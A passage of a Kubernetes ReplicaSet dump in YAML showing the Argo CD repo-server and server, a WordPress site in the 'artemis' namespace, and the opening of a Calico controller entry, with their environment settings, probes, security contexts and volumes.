    creationTimestamp: "2025-09-21T20:15:18Z"
    generation: 1
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 5c6559d6cd
    name: argocd-repo-server-5c6559d6cd
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: argocd-repo-server
      uid: 997b26ca-d390-4cec-bc83-9902ea8c36b1
    resourceVersion: "18007926"
    uid: 53687d14-6edc-4ade-b684-40684a3637b9
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-repo-server
        pod-template-hash: 5c6559d6cd
    template:
      metadata:
        annotations:
          checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: repo-server
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-repo-server
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
          pod-template-hash: 5c6559d6cd
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-repo-server
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-repo-server
          - --port=8081
          - --metrics-port=8084
          env:
          - name: ARGOCD_REPO_SERVER_NAME
            value: argocd-repo-server
          - name: ARGOCD_RECONCILIATION_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: timeout.reconciliation
                name: argocd-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: reposerver.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: reposerver.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: reposerver.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LISTEN_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: reposerver.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_LISTEN_METRICS_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: reposerver.metrics.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_DISABLE_TLS
            valueFrom:
              configMapKeyRef:
                key: reposerver.disable.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MIN_VERSION
            valueFrom:
              configMapKeyRef:
                key: reposerver.tls.minversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MAX_VERSION
            valueFrom:
              configMapKeyRef:
                key: reposerver.tls.maxversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_CIPHERS
            valueFrom:
              configMapKeyRef:
                key: reposerver.tls.ciphers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: reposerver.repo.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_SERVER
            valueFrom:
              configMapKeyRef:
                key: redis.server
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_COMPRESSION
            valueFrom:
              configMapKeyRef:
                key: redis.compression
                name: argocd-cmd-params-cm
                optional: true
          - name: REDISDB
            valueFrom:
              configMapKeyRef:
                key: redis.db
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-username
                name: argocd-redis
                optional: true
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
                optional: false
          - name: REDIS_SENTINEL_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-username
                name: argocd-redis
                optional: true
          - name: REDIS_SENTINEL_PASSWORD
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-password
                name: argocd-redis
                optional: true
          - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: reposerver.default.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: otlp.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_INSECURE
            valueFrom:
              configMapKeyRef:
                key: otlp.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_HEADERS
            valueFrom:
              configMapKeyRef:
                key: otlp.headers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OTLP_ATTRS
            valueFrom:
              configMapKeyRef:
                key: otlp.attrs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_MAX_COMBINED_DIRECTORY_MANIFESTS_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.max.combined.directory.manifests.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_PLUGIN_TAR_EXCLUSIONS
            valueFrom:
              configMapKeyRef:
                key: reposerver.plugin.tar.exclusions
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_PLUGIN_USE_MANIFEST_GENERATE_PATHS
            valueFrom:
              configMapKeyRef:
                key: reposerver.plugin.use.manifest.generate.paths
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_ALLOW_OUT_OF_BOUNDS_SYMLINKS
            valueFrom:
              configMapKeyRef:
                key: reposerver.allow.oob.symlinks
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_STREAMED_MANIFEST_MAX_TAR_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.streamed.manifest.max.tar.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_STREAMED_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.streamed.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_HELM_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.helm.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_DISABLE_HELM_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.disable.helm.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_MODULES_ENABLED
            valueFrom:
              configMapKeyRef:
                key: reposerver.enable.git.submodule
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_LS_REMOTE_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: reposerver.git.lsremote.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_REQUEST_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: reposerver.git.request.timeout
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OCI_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.oci.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_DISABLE_OCI_MANIFEST_MAX_EXTRACTED_SIZE
            valueFrom:
              configMapKeyRef:
                key: reposerver.disable.oci.manifest.max.extracted.size
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_OCI_LAYER_MEDIA_TYPES
            valueFrom:
              configMapKeyRef:
                key: reposerver.oci.layer.media.types
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REVISION_CACHE_LOCK_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: reposerver.revision.cache.lock.timeout
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_REPO_SERVER_INCLUDE_HIDDEN_DIRECTORIES
            valueFrom:
              configMapKeyRef:
                key: reposerver.include.hidden.directories
                name: argocd-cmd-params-cm
                optional: true
          - name: HELM_CACHE_HOME
            value: /helm-working-dir
          - name: HELM_CONFIG_HOME
            value: /helm-working-dir
          - name: HELM_DATA_HOME
            value: /helm-working-dir
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz?full=true
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: repo-server
          ports:
          - containerPort: 8081
            name: repo-server
            protocol: TCP
          - containerPort: 8084
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/ssh
            name: ssh-known-hosts
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/gpg/source
            name: gpg-keys
          - mountPath: /app/config/gpg/keys
            name: gpg-keyring
          - mountPath: /app/config/reposerver/tls
            name: argocd-repo-server-tls
          - mountPath: /helm-working-dir
            name: helm-working-dir
          - mountPath: /home/argocd/cmp-server/plugins
            name: plugins
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        initContainers:
        - command:
          - /bin/cp
          - -n
          - /usr/local/bin/argocd
          - /var/run/argocd/argocd-cmp-server
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: copyutil
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/run/argocd
            name: var-files
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-repo-server
        serviceAccountName: argocd-repo-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: helm-working-dir
        - emptyDir: {}
          name: plugins
        - emptyDir: {}
          name: var-files
        - emptyDir: {}
          name: tmp
        - configMap:
            defaultMode: 420
            name: argocd-ssh-known-hosts-cm
          name: ssh-known-hosts
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - configMap:
            defaultMode: 420
            name: argocd-gpg-keys-cm
          name: gpg-keys
        - emptyDir: {}
          name: gpg-keyring
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:19Z"
    generation: 1
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6475d67dbd
    name: argocd-server-6475d67dbd
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: argocd-server
      uid: 2e42fb01-61fa-4aa4-b4a4-669771c70296
    resourceVersion: "18034184"
    uid: d9ed7068-3231-41a4-bc58-ea3b908fce34
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-server
        pod-template-hash: 6475d67dbd
    template:
      metadata:
        annotations:
          checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: server
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-server
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
          pod-template-hash: 6475d67dbd
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-server
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-server
          - --port=8080
          - --metrics-port=8083
          env:
          - name: ARGOCD_SERVER_NAME
            value: argocd-server
          - name: ARGOCD_SERVER_INSECURE
            valueFrom:
              configMapKeyRef:
                key: server.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_BASEHREF
            valueFrom:
              configMapKeyRef:
                key: server.basehref
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_ROOTPATH
            valueFrom:
              configMapKeyRef:
                key: server.rootpath
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: server.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_LOG_LEVEL
            valueFrom:
              configMapKeyRef:
                key: server.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER
            valueFrom:
              configMapKeyRef:
                key: repo.server
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DEX_SERVER
            valueFrom:
              configMapKeyRef:
                key: server.dex.server
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DISABLE_AUTH
            valueFrom:
              configMapKeyRef:
                key: server.disable.auth
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_ENABLE_GZIP
            valueFrom:
              configMapKeyRef:
                key: server.enable.gzip
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: server.repo.server.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_X_FRAME_OPTIONS
            valueFrom:
              configMapKeyRef:
                key: server.x.frame.options
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_CONTENT_SECURITY_POLICY
            valueFrom:
              configMapKeyRef:
                key: server.content.security.policy
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: server.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: server.repo.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DEX_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: server.dex.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DEX_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: server.dex.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MIN_VERSION
            valueFrom:
              configMapKeyRef:
                key: server.tls.minversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MAX_VERSION
            valueFrom:
              configMapKeyRef:
                key: server.tls.maxversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_CIPHERS
            valueFrom:
              configMapKeyRef:
                key: server.tls.ciphers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_CONNECTION_STATUS_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.connection.status.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OIDC_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.oidc.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_STATIC_ASSETS
            valueFrom:
              configMapKeyRef:
                key: server.staticassets
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APP_STATE_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.app.state.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_SERVER
            valueFrom:
              configMapKeyRef:
                key: redis.server
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_COMPRESSION
            valueFrom:
              configMapKeyRef:
                key: redis.compression
                name: argocd-cmd-params-cm
                optional: true
          - name: REDISDB
            valueFrom:
              configMapKeyRef:
                key: redis.db
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-username
                name: argocd-redis
                optional: true
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
                optional: false
          - name: REDIS_SENTINEL_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-username
                name: argocd-redis
                optional: true
          - name: REDIS_SENTINEL_PASSWORD
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-password
                name: argocd-redis
                optional: true
          - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.default.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_MAX_COOKIE_NUMBER
            valueFrom:
              configMapKeyRef:
                key: server.http.cookie.maxnumber
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_LISTEN_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: server.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_METRICS_LISTEN_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: server.metrics.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: otlp.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_INSECURE
            valueFrom:
              configMapKeyRef:
                key: otlp.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_HEADERS
            valueFrom:
              configMapKeyRef:
                key: otlp.headers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_ATTRS
            valueFrom:
              configMapKeyRef:
                key: otlp.attrs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: application.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_ENABLE_PROXY_EXTENSION
            valueFrom:
              configMapKeyRef:
                key: server.enable.proxy.extension
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_K8SCLIENT_RETRY_MAX
            valueFrom:
              configMapKeyRef:
                key: server.k8sclient.retry.max
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_K8SCLIENT_RETRY_BASE_BACKOFF
            valueFrom:
              configMapKeyRef:
                key: server.k8sclient.retry.base.backoff
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_API_CONTENT_TYPES
            valueFrom:
              configMapKeyRef:
                key: server.api.content.types
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_WEBHOOK_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: server.webhook.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.new.git.file.globbing
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_SCM_ROOT_CA_PATH
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.scm.root.ca.path
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.allowed.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.github.api.metrics
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_HYDRATOR_ENABLED
            valueFrom:
              configMapKeyRef:
                key: hydrator.enabled
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SYNC_WITH_REPLACE_ALLOWED
            valueFrom:
              configMapKeyRef:
                key: server.sync.replace.allowed
                name: argocd-cmd-params-cm
                optional: true
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz?full=true
              port: server
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: server
          ports:
          - containerPort: 8080
            name: server
            protocol: TCP
          - containerPort: 8083
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: server
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/ssh
            name: ssh-known-hosts
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/server/tls
            name: argocd-repo-server-tls
          - mountPath: /app/config/dex/tls
            name: argocd-dex-server-tls
          - mountPath: /home/argocd
            name: plugins-home
          - mountPath: /shared/app/custom
            name: styles
          - mountPath: /tmp
            name: tmp
          - mountPath: /home/argocd/params
            name: argocd-cmd-params-cm
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-server
        serviceAccountName: argocd-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: plugins-home
        - emptyDir: {}
          name: tmp
        - configMap:
            defaultMode: 420
            name: argocd-ssh-known-hosts-cm
          name: ssh-known-hosts
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - configMap:
            defaultMode: 420
            name: argocd-styles-cm
            optional: true
          name: styles
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
        - name: argocd-dex-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-dex-server-tls
        - configMap:
            defaultMode: 420
            items:
            - key: server.profile.enabled
              path: profiler.enabled
            name: argocd-cmd-params-cm
            optional: true
          name: argocd-cmd-params-cm
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: artemis
      meta.helm.sh/release-namespace: artemis
    creationTimestamp: "2025-10-19T12:06:46Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/name: wordpress
      pod-template-hash: 574d78556d
    name: artemis-wordpress-574d78556d
    namespace: artemis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: artemis-wordpress
      uid: b7331772-ecf7-4127-8f30-915811de38da
    resourceVersion: "18008019"
    uid: a550b0bf-382b-44cf-a991-2ac96fa04069
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: artemis
        app.kubernetes.io/name: wordpress
        pod-template-hash: 574d78556d
    template:
      metadata:
        annotations:
          checksum/extendedconfig: e2fb52d5d3a2a256f890ebee9ee09cab2b352dbcc9624d02b4ea8fff40880bd7
          checksum/secureconfig: 0cff4b87e35537432f15c01bba6eb48ea3e09e7bfcec7449e7d4f9f806172dba
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: artemis
          app.kubernetes.io/name: wordpress
          pod-template-hash: 574d78556d
      spec:
        containers:
        - envFrom:
          - secretRef:
              name: artemis-wordpress
          image: docker.io/wordpress:6.8.3-apache
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-admin/install.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: wordpress
          ports:
          - containerPort: 8000
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            privileged: false
            readOnlyRootFilesystem: true
          startupProbe:
            failureThreshold: 30
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/www/html
            name: wordpress-vol
          - mountPath: /tmp
            name: tmp
          - mountPath: /var/run
            name: run
          - mountPath: /etc/apache2/ports.conf
            name: extended
            subPath: ports.conf
          - mountPath: /etc/apache2/000-default.conf
            name: extended
            subPath: 000-default.conf
          - mountPath: /usr/local/etc/php/conf.d/custom.ini
            name: extended
            subPath: custom.ini
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 33
          runAsNonRoot: true
          runAsUser: 33
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
        - emptyDir: {}
          name: run
        - configMap:
            defaultMode: 420
            name: artemis-wordpress-extended
          name: extended
        - emptyDir: {}
          name: wordpress-vol
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:12:27Z"
    generation: 1
    labels:
      app.kubernetes.io/name: calico-kube-controllers
      k8s-app: calico-kube-controllers
      pod-template-hash: d595576c
    name: calico-kube-controllers-d595576c
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: calico-kube-controllers
      uid: fe2c07e0-d74b-482a-841c-20c6af9afa56
    resourceVersion: "18034305"
    uid: a169d326-db94-4217-90d0-a99549cb981b
  spec:
    replicas: 1
    selector:
      matchLabels:
        k8s-app: calico-kube-controllers
        pod-template-hash: d595576c
    template:
      metadata:
        annotations:
